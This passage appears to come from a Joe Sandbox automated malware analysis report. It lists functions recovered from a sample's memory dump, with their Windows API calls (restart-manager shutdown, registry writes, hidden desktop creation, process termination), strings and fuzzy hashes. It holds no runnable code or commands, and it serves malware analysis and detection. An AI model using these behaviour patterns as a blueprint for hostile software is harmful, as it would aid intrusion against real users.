RmGetList.RSTRTMGR(?,00000000,00000000,?,?), ref: 06D30B04
RmShutdown.RSTRTMGR(?,00000001,00000000), ref: 06D30B2A
RmEndSession.RSTRTMGR(?), ref: 06D30B55
SetLastError.KERNEL32(00000000), ref: 06D30B5F

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Session$ErrorLastListRegisterResourcesShutdownStart
String ID:
API String ID: 3915309458-0
Opcode ID: 20eae5720d6fe969d5bb548f172076b3376bdb57946c725d2b8726d950ed823f
Instruction ID: 3be94265b023699c1994ce771ba001c6a509b268205dddd87ce9ee463f8e897f
Opcode Fuzzy Hash: 20eae5720d6fe969d5bb548f172076b3376bdb57946c725d2b8726d950ed823f
Instruction Fuzzy Hash: 5F5103B0D00219EFDB54CF94D899BEEBBB4FB48304F108619E515BB280D7B96A45CFA0

Function 06D69252 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,06D68FCD,06D65572,06D6583D,?,06D65A75,?,00000001,?,?,00000001,?,06D94DC8,0000000C,06D65B6E), ref: 06D69260
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 06D6926E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 06D69287
SetLastError.KERNEL32(00000000,06D65A75,?,00000001,?,?,00000001,?,06D94DC8,0000000C,06D65B6E,?,00000001,?), ref: 06D692D9

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 14e0782357c59f8bb35335dc842aab3820b9ee33f212d8b31977fa834e304825
Instruction ID: a757cd1a0d20a73ea993390ddc442d6d8493d3a9549bf4a30911693761b19269
Opcode Fuzzy Hash: 14e0782357c59f8bb35335dc842aab3820b9ee33f212d8b31977fa834e304825
Instruction Fuzzy Hash: 14019C3211E3131FEFF417777C986673786DB1AA347200329F228991D0FF71580491A1

Function 06D2D430 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 140libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 06D2D612
GetProcAddress.KERNEL32(?,?), ref: 06D2D623
GetVersionExA.KERNEL32(06D4D388), ref: 06D2D645

Strings

J'tq, xrefs: 06D2D54B
C}Fx, xrefs: 06D2D46D

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: AddressHandleModuleProcVersion
String ID: C}Fx$J'tq
API String ID: 3310240892-1733491810
Opcode ID: f0118828bac4a036fd81175a85ca72d57c00a230200cec41da2df049e9919d67
Instruction ID: 603e9ae4e269b89baf23737cf2e52f775a72eb6a655778e63cc22cc3239bb4a3
Opcode Fuzzy Hash: f0118828bac4a036fd81175a85ca72d57c00a230200cec41da2df049e9919d67
Instruction Fuzzy Hash: 78712274D0929C9BDB16CFA8D8816DDFBB2BF59300F14829AD888B7305E7305A85CF51

Function 06D2D224 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 97registrysleepwindowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(?,00000000), ref: 06D2D354
Sleep.KERNEL32(0000012C), ref: 06D2D374
SHAppBarMessage.SHELL32(0000000A,00000024), ref: 06D2D392
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,00000000,00000004), ref: 06D2D3BD
RegCloseKey.ADVAPI32(?), ref: 06D2D3C7

Strings

JVDo, xrefs: 06D2D261

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CloseFindMessageSleepValueWindow
String ID: JVDo
API String ID: 69715334-4106535823
Opcode ID: 41c36dfc022ce9baaf02d5790a06db336070a2d4e6beb3a084e350d53b99e271
Instruction ID: 1d07ac420313e1ea691a337e0760f3849d6638f70a30cb86ce56a54bb4bfc183
Opcode Fuzzy Hash: 41c36dfc022ce9baaf02d5790a06db336070a2d4e6beb3a084e350d53b99e271
Instruction Fuzzy Hash: 2451F370D052A88FEB25CB68C855BECFBB2AF59304F0481D9DA9C77251EA305AC5CF54

Function 06D7370A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,AC55FB4A,?,?,00000000,06D880D2,000000FF,?,06D736A4,?,?,06D73678,00000000), ref: 06D7373F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 06D73751
FreeLibrary.KERNEL32(00000000,?,00000000,06D880D2,000000FF,?,06D736A4,?,?,06D73678,00000000), ref: 06D73773

Strings

CorExitProcess, xrefs: 06D73749
mscoree.dll, xrefs: 06D73738

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 11bbcb09854b94e92954409708e1b8672b75fa3c9db05c052905f8f11cad4d4e
Instruction ID: 4cb66f76bd0ee3cd64143e524d4a4a1ab47945d62dec1121724ad7bdfb72f723
Opcode Fuzzy Hash: 11bbcb09854b94e92954409708e1b8672b75fa3c9db05c052905f8f11cad4d4e
Instruction Fuzzy Hash: 5B01A271D54619FFCB519B68DC1DBBEBBB9FB04B11F000525F812A2280EB749904CA90

Function 06D75368 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 06D753ED
__alloca_probe_16.LIBCMT ref: 06D754B6
__freea.LIBCMT ref: 06D7551D

Part of subcall function 06D7775B: RtlAllocateHeap.NTDLL(00000000,06D55FE8,00000000,?,06D654A8,06D55FE8,?,06D55FE8,00000000,?,06D530C2), ref: 06D7778D

__freea.LIBCMT ref: 06D75530
__freea.LIBCMT ref: 06D7553D

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 5ca56fb72de25937d2c81ddc05f1c3decd2589bf7ca714854df1d6ddbec26dcf
Instruction ID: 8a6e8859c78e1c428a42311ed4c4b9d898b262343912fdfd6cd9397ebe15d78f
Opcode Fuzzy Hash: 5ca56fb72de25937d2c81ddc05f1c3decd2589bf7ca714854df1d6ddbec26dcf
Instruction Fuzzy Hash: EE51B372A00206AFEBA19F61FC41EBF3BAAEF45618B150428FD18D6150FF70D951C6A3

Function 06D64AB9 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 06D64ACD
AcquireSRWLockExclusive.KERNEL32(06D23250,?,06D64A97,06D23248,00000000,?,06D23248,?,?,?,06D440FD), ref: 06D64AEC
AcquireSRWLockExclusive.KERNEL32(06D23250,?,?,?,06D64A97,06D23248,00000000,?,06D23248,?,?,?,06D440FD), ref: 06D64B1A
TryAcquireSRWLockExclusive.KERNEL32(06D23250,?,?,?,06D64A97,06D23248,00000000,?,06D23248,?,?,?,06D440FD), ref: 06D64B75
TryAcquireSRWLockExclusive.KERNEL32(06D23250,?,?,?,06D64A97,06D23248,00000000,?,06D23248,?,?,?,06D440FD), ref: 06D64B8C

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 4a05827f11be506424830b891765b8c0a013d053997450c6b59e772dee898d9f
Instruction ID: a19131536361d05eb693f2364adf7d7ee7f040b450410febd0b3bf66b7148062
Opcode Fuzzy Hash: 4a05827f11be506424830b891765b8c0a013d053997450c6b59e772dee898d9f
Instruction Fuzzy Hash: 6B416A3090060ADFCBA0DF6BC594BAEB3F5FF49311B508A69E496D7A40E730E584CB90

Function 06D512B0 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 06D512D7
int.LIBCPMTD ref: 06D512F0

Part of subcall function 06D229D0: std::_Lockit::_Lockit.LIBCPMT ref: 06D229E6
Part of subcall function 06D229D0: std::_Lockit::~_Lockit.LIBCPMT ref: 06D22A10

Concurrency::cancel_current_task.LIBCPMTD ref: 06D51337
std::_Lockit::~_Lockit.LIBCPMT ref: 06D513C2

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: 2b0d727c2d4e1f8c8e1d886756dcd27edf4138fcfc7f8f400ca73795bb2f3d6a
Instruction ID: 4667098b913669e3334c331cb37b5e96e90e24d992c3861625f8070225a27b9f
Opcode Fuzzy Hash: 2b0d727c2d4e1f8c8e1d886756dcd27edf4138fcfc7f8f400ca73795bb2f3d6a
Instruction Fuzzy Hash: 8B41B3B4D00219DFDB44DF98D990BEEBBB1FF58310F108219E825A7790D7346A45CBA1

Function 06D5D1F0 Relevance: 7.6, APIs: 6, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 06D5D20F
HeapFree.KERNEL32(00000000,00000000,?), ref: 06D5D219
GetProcessHeap.KERNEL32(00000000,?), ref: 06D5D23B
HeapAlloc.KERNEL32(00000000), ref: 06D5D242
GetProcessHeap.KERNEL32 ref: 06D5D26E
HeapFree.KERNEL32(00000000,00000000,?), ref: 06D5D278

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Heap$Process$Free$Alloc
String ID:
API String ID: 3689955550-0
Opcode ID: b0cb119af0d6943f8fcd89a20c694f5632994cba1598e7863c5bdb019b05732b
Instruction ID: 75d377719da201127bcb5024692286051f794f3ad1794fbafa3ae9e369473339
Opcode Fuzzy Hash: b0cb119af0d6943f8fcd89a20c694f5632994cba1598e7863c5bdb019b05732b
Instruction Fuzzy Hash: D51104B2511311AFDB204F99E858BA6FB69FF15331F110126EE199B680C771A412CBE4

Function 06D6480F Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 06D64816
std::_Lockit::_Lockit.LIBCPMT ref: 06D64821
std::_Lockit::~_Lockit.LIBCPMT ref: 06D6488F

Part of subcall function 06D64972: std::locale::_Locimp::_Locimp.LIBCPMT ref: 06D6498A

std::locale::_Setgloballocale.LIBCPMT ref: 06D6483C
_Yarn.LIBCPMT ref: 06D64852

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 14bd6e559ef1ca679e932e366133468538478aae1911210379661c6b8fc5f915
Instruction ID: d3c2c56420071ab51f3b9916143bda006af8fffce1efac0d29e4bfaf07f80458
Opcode Fuzzy Hash: 14bd6e559ef1ca679e932e366133468538478aae1911210379661c6b8fc5f915
Instruction Fuzzy Hash: 6C01DF75A001109FCB86FB65DC2497D7BB6FFC8250B08804DE9215B380CF34AA02CBE1

Function 06D2D860 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 06D2D878
CreateCompatibleDC.GDI32(00000000), ref: 06D2D89A
ReleaseDC.USER32(00000000,00000000), ref: 06D2D8AF

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CompatibleCreateRelease
String ID:
API String ID: 1746227666-0
Opcode ID: 5fa7ab9b4e4158b120055c848debeb47dae36eacd274c05c923331415b93724e
Instruction ID: 350e38fd322f179a5febc185e2ae1e1e5262fe9db9c86917e302ea8c61c5b80a
Opcode Fuzzy Hash: 5fa7ab9b4e4158b120055c848debeb47dae36eacd274c05c923331415b93724e
Instruction Fuzzy Hash: FF01B1B8D1030DFFDB80EBE1EC4EF6DB735AF10209F104064FA5A66340D6749A14DAA2

Function 06D5E930 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,-0000001C,00000000,?,?,06D5EA79,00000000), ref: 06D5E953
HeapAlloc.KERNEL32(00000000,?,-0000001C,00000000,?,?,06D5EA79,00000000), ref: 06D5E959
std::bad_exception::bad_exception.LIBCMT ref: 06D5E993

Strings

length, xrefs: 06D5E98B

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Heap$AllocProcessstd::bad_exception::bad_exception
String ID: length
API String ID: 1424189516-25009842
Opcode ID: 6f313a66d405d10878242830740ad3b4276604a088ad0b8794e7b8b0f017c1f3
Instruction ID: f466e024a86d74e72333d580cad19f7b96407a30b83d753feac6cb4261fa3856
Opcode Fuzzy Hash: 6f313a66d405d10878242830740ad3b4276604a088ad0b8794e7b8b0f017c1f3
Instruction Fuzzy Hash: 66012878D002096BDBD8EFA9DC00B9AB36DEF44310F01856AE920D7681EB74E644C7E1

Function 06D6A3A7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,06D6A358,00000000,?,00000001,?,?,?,06D6A447,00000001,FlsFree,06D8AFC8,FlsFree), ref: 06D6A3B4
GetLastError.KERNEL32(?,06D6A358,00000000,?,00000001,?,?,?,06D6A447,00000001,FlsFree,06D8AFC8,FlsFree,00000000,?,06D6935E), ref: 06D6A3BE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 06D6A3E6

Strings

api-ms-, xrefs: 06D6A3CB

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 042cc531df7196ef7aa8ff745ffcbbdd78dff8ddfdbd06b2bda6109c0c5b5d23
Instruction ID: 74fa055d2a1851d6124789fc178f44a13b9b69335731e135e902afb674981249
Opcode Fuzzy Hash: 042cc531df7196ef7aa8ff745ffcbbdd78dff8ddfdbd06b2bda6109c0c5b5d23
Instruction Fuzzy Hash: C6E048306D430DBFEF911BA6DC0EB683B5AAB01A55F144421FA4CF8190E762E855D644

Function 06D5D4B0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernelbase.dll), ref: 06D5D4B8
GetProcAddress.KERNEL32(00000000,RaiseFailFastException), ref: 06D5D4C4

Strings

RaiseFailFastException, xrefs: 06D5D4BE
kernelbase.dll, xrefs: 06D5D4B3

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RaiseFailFastException$kernelbase.dll
API String ID: 1646373207-919018592
Opcode ID: 9bf3d7ea92a7729901dca291f50162b665169181c8b9ef934b3f7c3fd41825d6
Instruction ID: 8f9f16953582a2c0b20e52a803c32a00423730d49884e7d129934fe0b065edbb
Opcode Fuzzy Hash: 9bf3d7ea92a7729901dca291f50162b665169181c8b9ef934b3f7c3fd41825d6
Instruction Fuzzy Hash: D6C08C766C430EBB8F802BE6BC0DF363B9EBB00A213104015FA02D5900CA52D014C171

Function 06D78AD0 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(AC55FB4A,00000000,00000000,06D6AE13), ref: 06D78B33

Part of subcall function 06D7C820: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,06D75513,?,00000000,-00000008), ref: 06D7C881

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 06D78D85
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 06D78DCB
GetLastError.KERNEL32 ref: 06D78E6E

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: fa62cd568cc0a7ca98d374fd18c4e68a9ed50018c1ddf62f94ba3d973ac5b890
Instruction ID: d5b77da0159fb608e7424a73bb2696e1ccc14b09904d824d94e48e793d6b1cc0
Opcode Fuzzy Hash: fa62cd568cc0a7ca98d374fd18c4e68a9ed50018c1ddf62f94ba3d973ac5b890
Instruction Fuzzy Hash: 4AD189B5E002489FCB55CFA8D884AEDBBB5EF08314F18412AE466EB351E730A941DB61

Function 06D69369 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 06D69430
___AdjustPointer.LIBCMT ref: 06D69453
___AdjustPointer.LIBCMT ref: 06D694EF

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 0d9d0e261736097fd64a8c053e3864c51e68fcbdee1c4ca2bb52af524fb65b35
Instruction ID: b23627c1dda651da28d1f9108b3eee318a0ff4b7fcb9b12dcbd156b48d54f56e
Opcode Fuzzy Hash: 0d9d0e261736097fd64a8c053e3864c51e68fcbdee1c4ca2bb52af524fb65b35
Instruction Fuzzy Hash: F251F571A01607AFDBA48F17C860BBA77B4FF08210F14412DF9668F294D771E840C7A4

Function 06D60390 Relevance: 6.2, APIs: 4, Instructions: 151COMMON

Download Yara Rule

APIs

Part of subcall function 06D23230: std::_Throw_Cpp_error.LIBCPMT ref: 06D23251
Part of subcall function 06D23230: std::_Throw_Cpp_error.LIBCPMT ref: 06D23285

_Min_value.LIBCPMTD ref: 06D60426
char_traits.LIBCPMTD ref: 06D6042F
OpenDesktopA.USER32(?,00000001,00000001,10000000), ref: 06D6047E
CreateDesktopA.USER32(?,00000000,00000000,00000001,10000000,00000000), ref: 06D604ED

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Cpp_errorDesktopThrow_std::_$CreateMin_valueOpenchar_traits
String ID:
API String ID: 4090590276-0
Opcode ID: 74eabb7d7b69dff97ae62ea50ae5012f1e89707d13f759ef6bd75210641793f3
Instruction ID: 61bd1308a5604e56aea8735d469337c4b5532d7e6aa6688f22a4f028d9287aac
Opcode Fuzzy Hash: 74eabb7d7b69dff97ae62ea50ae5012f1e89707d13f759ef6bd75210641793f3
Instruction Fuzzy Hash: FA51B272E442199FCBA0DFA9DD41FBEB3B5EB44710F10016AF915A7380EB75A900CBA1

Function 06D5CD20 Relevance: 6.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 06D64E7F: QueryPerformanceFrequency.KERNEL32(06D60516,AC55FB4A,AC55FB4A,?,06D5CD37,00000000,06D60516,00000000,06D9102C,06D60516,AC55FB4A,?,00000000), ref: 06D64E9D

Part of subcall function 06D64E68: QueryPerformanceCounter.KERNEL32(06D60516,?,?,?,06D5CD44,00000000,06D60516,00000000,06D9102C,06D60516,AC55FB4A,?,00000000), ref: 06D64E71

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 06D5CD90
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 06D5CDC4
__alldvrm.LIBCMT ref: 06D5CDE3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 06D5CE0B

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$PerformanceQuery$CounterFrequency__alldvrm
String ID:
API String ID: 2057067329-0
Opcode ID: 5ed0279a45f9b082af53218414e6d0c0e4625d657bc247e3b34f9b639ae15ee3
Instruction ID: 79f87ed65d014e2598c759dffafe562b0f36ab0e735a32a438818d788c61436d
Opcode Fuzzy Hash: 5ed0279a45f9b082af53218414e6d0c0e4625d657bc247e3b34f9b639ae15ee3
Instruction Fuzzy Hash: CD31CF717043002FD798EE2D9C45B3BAAEEDBC8690F05866DF919DB390E5709C0087A5

Function 06D7CABA Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 06D7C820: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,06D75513,?,00000000,-00000008), ref: 06D7C881

GetLastError.KERNEL32 ref: 06D7CB1E
__dosmaperr.LIBCMT ref: 06D7CB25
GetLastError.KERNEL32(?,?,?,?), ref: 06D7CB5F
__dosmaperr.LIBCMT ref: 06D7CB66

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 51225b18c75207bba26e65c57b92c5d6e8cda45fb41b11e237db86aaf69f77a3
Instruction ID: 1ca6c91a5f48adcdcc3c2523a419488cf53a84ad8e9c37eb2b247c330aaae582
Opcode Fuzzy Hash: 51225b18c75207bba26e65c57b92c5d6e8cda45fb41b11e237db86aaf69f77a3
Instruction Fuzzy Hash: 36214F71A20605AFDBA0AF669C80D6BB7AAEF452647004519FD6997250F731FC40CBA2

Function 06D72E04 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef8c9a4180228b98e957f6e83f90546d2be23b926ab1c46a28d4a62ba9b92564
Instruction ID: 9cde09e3e23bbcaaafeb452545e8dc8994934593914d9b84d1fcf00b3191793c
Opcode Fuzzy Hash: ef8c9a4180228b98e957f6e83f90546d2be23b926ab1c46a28d4a62ba9b92564
Instruction Fuzzy Hash: 0021C331600649AFDBE1AFB6DC9096B77AAEF413647004515FD65C7240F730EE4087B2

Function 06D6A701 Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,06D45AB0,06D6A5A3,00000000,00000004,00000000), ref: 06D6A750
GetLastError.KERNEL32(?,?,?,?,?,06D4B23E,06D45AB0), ref: 06D6A75C
__dosmaperr.LIBCMT ref: 06D6A763

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: fca851efcc2453830d9ad7f4b183a74a4d16efaa886adcde10e12f380ccc287f
Instruction ID: 21163bf07c1901344dbb626b04899d5fe7c3645e64566fc9e54530db54838d07
Opcode Fuzzy Hash: fca851efcc2453830d9ad7f4b183a74a4d16efaa886adcde10e12f380ccc287f
Instruction Fuzzy Hash: 5601D272D10608BFDB909BAADC08BAEBB7ADF80375F144215F964A61D0DB70C505D6B0

Function 06D4C180 Relevance: 6.1, APIs: 4, Instructions: 51windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 06D4C193
GetWindowLongA.USER32(?,000000EC), ref: 06D4C1C3
SetWindowLongA.USER32(?,000000EC,?), ref: 06D4C1DC
GetVersionExA.KERNEL32(00000094), ref: 06D4C1F3

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Window$Long$VersionVisible
String ID:
API String ID: 3307475360-0
Opcode ID: bb26a78e69d531a44b12d9863d8c80839ebd7cb970f625c2846e827fba1cc8bf
Instruction ID: 0ca5c97eaaddc303dafaefed08ff3132445b52ec25238b7eb131ff5f73a45fdf
Opcode Fuzzy Hash: bb26a78e69d531a44b12d9863d8c80839ebd7cb970f625c2846e827fba1cc8bf
Instruction Fuzzy Hash: 97110075A10208EFDB50EFA8DC89E9E77B9EB88300F108154F9199B381DA35DE44CBA0

Function 06D62E3E Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000400,?,?,?,06D5168B,00000000,00000000,?,?,?,06D5168B,?,?,?,00000000), ref: 06D62E5B
GetLastError.KERNEL32(?,?,?,06D5168B,?,?,?,00000000,00000000), ref: 06D62E67
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,06D5168B,00000000,00000000,?,?,?,06D5168B,?,?,?,00000000), ref: 06D62E8D
GetLastError.KERNEL32(?,?,?,06D5168B,?,?,?,00000000,00000000), ref: 06D62E99

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: f01ee2e7c020057a3d6996450b368dd41fdfb039da9678f7fc94007c81980252
Instruction ID: 13e3b00f310e5e70cc59f8b976d4254d600b1c1cd749c0ba8d34e73226aa0ae4
Opcode Fuzzy Hash: f01ee2e7c020057a3d6996450b368dd41fdfb039da9678f7fc94007c81980252
Instruction Fuzzy Hash: CF011236A10159BFDF220EA6DC08D9B3F3BEBC97A0B008024FE4595221D731C921E7A0

Function 06D2B1D0 Relevance: 6.0, APIs: 4, Instructions: 30threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(?,00000000), ref: 06D2B1E5
OpenProcess.KERNEL32(00000001,00000000,00000000), ref: 06D2B1F9
TerminateProcess.KERNEL32(00000000,00000000), ref: 06D2B20E
CloseHandle.KERNEL32(00000000), ref: 06D2B218

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Process$CloseHandleOpenTerminateThreadWindow
String ID:
API String ID: 3803187281-0
Opcode ID: 513c017a5bafa834f878325d014bb92ba187ce472e93c7c7a25a72adc21d340d
Instruction ID: fc448a535e6ea3ad248d79b0c3850f757184bd63f2f9b7c405d17e95228b800b
